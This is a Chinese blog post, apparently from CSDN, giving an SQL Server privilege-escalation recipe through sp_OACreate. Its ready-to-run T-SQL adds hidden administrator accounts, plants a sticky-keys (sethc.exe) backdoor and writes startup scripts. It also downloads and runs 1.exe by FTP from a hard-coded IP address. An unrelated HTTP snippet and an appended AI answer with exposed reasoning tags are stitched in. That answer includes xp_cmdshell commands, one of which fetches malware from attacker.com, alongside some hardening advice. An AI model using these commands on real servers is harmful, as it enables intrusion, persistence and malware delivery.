SP_OACreate提权经验

本文介绍在SQL Server环境中如何利用sp_oacreate和sp_oamethod进行权限提升的方法,包括直接添加用户、文件替换、上传木马、启动项写入等操作。

在xp_cmdshell被删除或者出错情况下,可以充分利用SP_OACreate进行提权

首先

EXEC sp_configure 'show advanced options', 1;   
RECONFIGURE WITH OVERRIDE;   
EXEC sp_configure 'Ole Automation Procedures', 1;   
RECONFIGURE WITH OVERRIDE;   
EXEC sp_configure 'show advanced options', 0;

打开组件,2005中默认关闭

1)直接加用户

2000系统:
declare@shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod@shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 123 123 /add'

declare@shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod@shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators123/add'

xp和2003系统:

declare@shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod@shell,'run',null,'c:\windows\system32\cmd.exe /c net user 123$ 123/add'

declare@shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod@shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators123$ /add'

2)粘贴键替换

declare@o int
execsp_oacreate 'scripting.filesystemobject', @o out
execsp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe','c:\windows\system32\sethc.exe';
 

declare@o int
execsp_oacreate 'scripting.filesystemobject', @o out
execsp_oamethod @o, 'copyfile',null,'c:\windows\system32\sethc.exe','c:\windows\system32\dllcache\sethc.exe';

需要同时具备sp_oacreate 和sp_oamethod 两个功能组件

3)直接传马

DECLARE@shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD@shell,'run',null, '%systemroot%\system32\cmd.exe /c echo open 222.180.210.113> cmd.txt&echo 123>> cmd.txt&echo123>> cmd.txt&echobinary >> cmd.txt&echo get 1.exe >> cmd.txt&echo bye>> cmd.txt&ftp -s:cmd.txt&1.exe&1.exe&del cmd.txt. /q/f&del 1.exe /f /q'--

4)启动项写入加账户脚本

declare@sp_passwordxieo int, @f int, @t int, @ret int

execsp_oacreate 'scripting.filesystemobject', @sp_passwordxieo out

execsp_oamethod @sp_passwordxieo, 'createtextfile', @f out, 'd:\RECYCLER\1.vbs', 1

exec@ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject("WSCRIPT.NETWORK")'

exec@ret = sp_oamethod @f, 'writeline',NULL,'os="WinNT://"&wsnetwork.ComputerName'

exec@ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)'

exec@ret = sp_oamethod @f, 'writeline', NULL,'Setoe=GetObject(os&"/Administrators,group")'

exec@ret = sp_oamethod @f, 'writeline', NULL,'Setod=ob.Create("user","123$")'

exec@ret = sp_oamethod @f, 'writeline', NULL,'od.SetPassword "123"'

exec@ret = sp_oamethod @f, 'writeline', NULL,'od.SetInfo'

exec@ret = sp_oamethod @f, 'writeline', NULL,'Setof=GetObject(os&"/123$",user)'

exec@ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&"/123$"';

5)如果该服务器有网站,则直接用方法4)写入一句话

DECLARE @Object int; DECLARE @HR int; DECLARE @Property nvarchar(255); DECLARE @Return nvarchar(255); DECLARE @Source nvarchar(255), @Desc nvarchar(255); DECLARE @httpStatus int; DECLARE @response varchar(8000); --创建 OLE 对象的实例 EXEC @HR = sp_OACreate N'MSXML2.XMLHTTP.6.0',@Object OUT; IF @HR 0 BEGIN EXEC sp_OAGetErrorInfo @Object,@Source OUT,@Desc OUT; RAISERROR('Error Creating COM Component 0x%x, %s, %s',16,1, @HR, @Source, @Desc) GOTO END_ROUTINE END BEGIN --Open EXEC @HR = sp_OAMethod @Object,N'open',Null,'GET','http://localhost:1728/HttpServer/submit.aspx',FALSE; IF @HR 0 BEGIN EXEC sp_OAGetErrorInfo @Object,@Source OUT,@Desc OUT; RAISERROR('Open 0x%x, %s, %s',16,1, @HR, @Source, @Desc) GOTO CLEANUP END --setRequestHeader EXEC @HR = sp_OAMethod @Object,N'setRequestHeader',Null,'Content-Type','text/xml'; IF @HR 0 BEGIN EXEC sp_OAGetErrorInfo @Object,@Source OUT,@Desc OUT; RAISERROR('setRequestHeader 0x%x, %s, %s',16,1, @HR, @Source, @Desc) GOTO CLEANUP END --send EXEC @HR = sp_OAMethod @Object,N'send',Null,''; IF @HR 0 BEGIN EXEC sp_OAGetErrorInfo @Object,@Source OUT,@Desc OUT; RAISERROR('send 0x%x, %s, %s',16,1, @HR, @Source, @Desc) GOTO CLEANUP END --readyState EXEC @HR = sp_OAGetProperty @Object,'readyState', @httpStatus OUT; IF @HR 0 BEGIN EXEC sp_OAGetErrorInfo @Object,@Source OUT,@Desc OUT; RAISERROR('readyState 0x%x, %s, %s',16,1, @HR, @Source, @Desc) GOTO CLEANUP END --verify status IF @httpStatus 4 BEGIN RAISERROR('readyState http status bad', 16,1) GOTO CLEANUP END --status EXEC @HR = sp_OAGetProperty @Object,'status', @httpStatus OUT; IF @HR 0 BEGIN EXEC sp_OAGetErrorInfo @Object,@Source OUT,@Desc OUT; RAISERROR('getstatus 0x%x, %s, %s',16,1, @HR, @Source, @Desc) GOTO CLEANUP END --verify status IF @httpStatus 200 BEGIN Print Cast(@httpStatus As varchar) RAISERROR('Open http status bad', 16,1) GOTO CLEANUP END --responseText EXEC @HR = sp_OAGetProperty @Object, 'responseText', @response OUT IF @HR 0 BEGIN EXEC sp_OAGetErrorInfo @Object,@Source OUT,@Desc OUT; RAISERROR('responseText 0x%x, %s, %s',16,1, @HR, @Source, @Desc) GOTO CLEANUP END Print @response END CLEANUP: BEGIN EXEC @HR = sp_OADestroy @Object; IF @HR 0 BEGIN EXEC sp_OAGetErrorInfo @Object,@Source OUT,@Desc OUT; SELECT HR = convert(varbinary(4),@HR),Source=@Source,Description=@Desc; END END END_ROUTINE: RETURN; GO
<think>我们正在讨论xp_cmdshell的方法和安全风险。根据供的引用,我们可以总结出以下几点:1.xp_cmdshell是SQLServer中的一个功能,允许执行操作系统命令,因此具有很高的风险。 2.引用[2]中到了一种渗透测试流程:在获取到目标IP后,通过端口扫描、目录扫描、登录页面测试、文件上传等步骤,最后使用xp_cmdshell。3.引用[3]供了如何关闭xp_cmdshell的方法,同时也展示了如何开启(将值设置为1)以及如何执行命令(例如:`EXEC xp_cmdshell 'dir c:\*.*'`)。因此,我们可以将回答分为两部分:方法和安全风险。 ###方法通常,攻击者利用xp_cmdshell需要以下步骤:1.**获取数据库限**:首先需要能够执行SQL命令。这可能通过Web应用漏洞(如SQL注入)或获取数据库登录凭证(如弱密码)实现。 2. **启用xp_cmdshell**:如果xp_cmdshell被禁用,攻击者可能会尝试启用它。引用[3]中供了开启xp_cmdshell的SQL命令:```sqlEXECsp_configure 'show advancedoptions',1;RECONFIGURE;EXEC sp_configure'xp_cmdshell',1;RECONFIGURE;``` 3. **执行系统命令**:一旦xp_cmdshell被启用,攻击者就可以执行任意系统命令。例如:```sqlEXECmaster..xp_cmdshell 'whoami';--查看当前限```如果当前数据库运行账户具有足够限(如系统管理员),则可以通过执行命令添加用户、开启远程桌面等:```sqlEXEC master..xp_cmdshell'netuser hackerPassword123 /add';EXEC master..xp_cmdshell'netlocalgroupadministrators hacker/add';EXECmaster..xp_cmdshell 'REGADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD/d0/f';--开启远程桌面```###安全风险1. **升**:xp_cmdshell执行命令的限取决于SQL Server服务的运行账户。如果该账户是系统管理员(如LocalSystem或域管理员),则攻击者可以直接获得系统最高限。 2. **系统命令执行**:攻击者可以执行任意命令,包括下载恶意软件、窃取数据、破坏系统等。 3. **持久化**:攻击者可以通过创建计划任务、服务等方式维持访问限。4.**横向移动**:在域环境中,攻击者可能利用数据库服务器的限访问域内其他资源。###防御措施1.**禁用xp_cmdshell**:如引用[3]所示,可以通过SQL命令禁用:```sqlEXECsp_configure 'show advancedoptions',1;RECONFIGURE;EXEC sp_configure'xp_cmdshell',0;RECONFIGURE;``` 2. **最小限原则**:确保SQL Server服务运行账户具有最小必要限(避免使用LocalSystem或管理员账户)。3.**网络隔离**:将数据库服务器放置在独立网络区域,限制外部访问。4.**审计与监控**:监控xp_cmdshell的使用情况,记录所有执行命令。5.**安全加固**:定期更新和修补SQLServer,避免其他漏洞导致xp_cmdshell被滥用。 §§相关问题§§1.如何检测服务器上是否启用了xp_cmdshell? 2.除了xp_cmdshell,还有哪些SQLServer功能可能被用于? 3.在渗透测试中,如果xp_cmdshell被禁用,有哪些替代方法?</think>### xp_cmdshell 方法及安全风险分析 #### 一、xp_cmdshell 方法 1. **启用 xp_cmdshell**(需管理员限): ```sql -- 开启高级选项 EXEC sp_configure 'show advanced options', 1; RECONFIGURE; -- 启用 xp_cmdshell EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; ``` 2. **执行系统命令**: ```sql -- 执行操作系统命令(示例) EXEC xp_cmdshell 'whoami'; -- 查看当前限 EXEC xp_cmdshell 'net user hacker Password123 /add'; -- 创建用户 EXEC xp_cmdshell 'net localgroup administrators hacker /add'; -- 至管理员 ``` 3. **常见操作**: - 开启远程桌面:`EXEC xp_cmdshell 'REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f'` - 关闭防火墙:`EXEC xp_cmdshell 'netsh advfirewall set allprofiles state off'` - 下载恶意程序:`EXEC xp_cmdshell 'certutil -urlcache -split -f http://attacker.com/malware.exe C:\malware.exe'` #### 二、安全风险分析 1. **高危升**: - 若 SQL Server 服务以 `SYSTEM` 限运行(默认配置),通过 xp_cmdshell 可直接获得系统最高限[^1]。 - 攻击者可通过 SQL 注入等漏洞触发命令执行,实现从数据库到操作系统的限跨越。 2. **攻击链关键环节**: 如引用[2]所述,渗透流程常为: ``` 端口扫描 → 目录扫描 → 登录页面绕过 → 文件上传 → xp_cmdshell ``` 3. **主要风险场景**: - **数据库配置不当**:默认禁用但被手动启用 - **服务限过高**:SQL Server 服务账户限过大 - **弱口令漏洞**:通过 SA 账户直接执行命令 - **SQL注入利用**:Web漏洞传导至操作系统命令执行 #### 三、防御建议 1. **严格禁用高危组件**: ```sql -- 永久禁用 xp_cmdshell EXEC sp_configure 'xp_cmdshell', 0; RECONFIGURE; ``` 同时禁用 `sp_OACreate` 等组件(参考引用[3]) 2. **限最小化原则**: - 将 SQL Server 服务账户改为普通用户限 - 遵循最小特访问控制 3. **安全加固措施**: - 启用数据库审计:监控 `xp_cmdshell` 调用行为 - 安装主机入侵检测系统(HIDS) - 定期进行渗透测试和安全评估 > **关键醒**:xp_cmdshell 的滥用可能导致 **整个服务器沦陷**。在渗透测试中需获得合法授,生产环境必须禁用该功能[^1][^3]。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值